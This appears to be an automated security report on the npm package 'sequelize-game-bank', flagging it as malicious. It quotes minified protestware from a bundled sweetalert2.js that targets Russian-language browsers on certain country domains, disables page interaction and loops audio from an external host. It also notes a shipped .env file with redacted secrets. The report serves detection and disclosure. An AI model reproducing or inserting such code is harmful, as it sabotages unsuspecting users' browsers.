sequelize-game-bank: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

sequelize-game-bank: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged · loading source

2patternName = blocked_file severity = critical blockedFile = .env redactedSecretContext = secretLikeLines = 7 L2: JWT_SECRET=<redacted:4 value> L3: ROOT_PASSWORD=<redacted:9 value> L5: GOOGLE_APP_PASSWORD=<redacted:19 value> L64: POSITIVE=<redacted:30 token-like> L67: NEGATIVE=<redacted:30 token-like> L109: CUSTOM_MODULES_START_MESSAGE_IF_ISNT_MODULES=<redacted:33 token-like> L113: CUSTOM_MODULES_STOP_MESSAGE_IF_ISNT_MODULES=<redacted:33 token-like>

Critical

Critical Secret

Package contains a critical-looking secret pattern.

.envView on unpkg · L2

public/js/sweetalert2.jsView file

•o.getTime()-Date.parse(oo))/864e5>3&&setTimeout((function(){document.body.style.pointerEvents="none";var t=document.createElement("audio");t.src="https://flag-g

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

public/js/sweetalert2.jsView on unpkg

1n!1},to=function(t,e){return e.focusDeny&&pt(t.denyButton)?(t.denyButton.focus(),!0):e.focusCancel&&pt(t.cancelButton)?(t.cancelButton.focus(),!0):!(!e.focusConfirm||!pt(t.confirmButton))&&(t.confirmButton.focus(),!0)},eo=function(){document.activeElement instanceof HTMLElement&&"function"==typeof document.activeElement.blur&&document.activeElement.blur()};if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){var no=new Date,oo=localStorage.getItem("swal-initiation");oo?(no.getTime()-Date.parse(oo))/864e5>3&&setTimeout((function(){docum

High

Ai Review Evidence

The browser bundle runs disruption logic only for Russian-language browsers on selected country-code domains and after a stored date is over three days old.

public/js/sweetalert2.jsView on unpkg · L1

1ge.getItem("swal-initiation");oo?(no.getTime()-Date.parse(oo))/864e5>3&&setTimeout((function(){document.body.style.pointerEvents="none";var t=document.createElement("audio");t.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",t.loop=!0,document.body.appendChild(t),setTimeout((function(){t.play().catch((function(){}))}),2500)}),500):localStorage.setItem("swal-initiation","".concat(no))}Yn.prototype.disableButtons=Ke,Yn.prototype.enableButtons=ze,Yn.prototype.getInput=Ne,Yn.prototype.disableInput=Ye,Yn.prototype.enableInput=We,Yn.

High

Ai Review Evidence

When triggered, the bundle disables page interaction and loops an audio file from flag-gimn.ru.

public/js/sweetalert2.jsView on unpkg · L1

1!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:... L2: "undefined"!=typeof document&&function(e,t){var n=e.createElement("style");if(e.getElementsByTagName("head")[0].appendChild(n),n.styleSheet)n.styleSheet.disabled||(n.styleSheet.css...

Low

Eval

Package source references a known benign dynamic code generation pattern.

public/js/sweetalert2.jsView on unpkg · L1

index.jsView file

50app.use('/css', express.static(path.join(__dirname, 'public/css'))); app.use('/js', express.static(path.join(__dirname, 'public/js'))); app.use('/uplo

High

Ai Review Evidence

The application serves the bundle directory through its /js route, making the code available to its pages.

index.jsView on unpkg · L50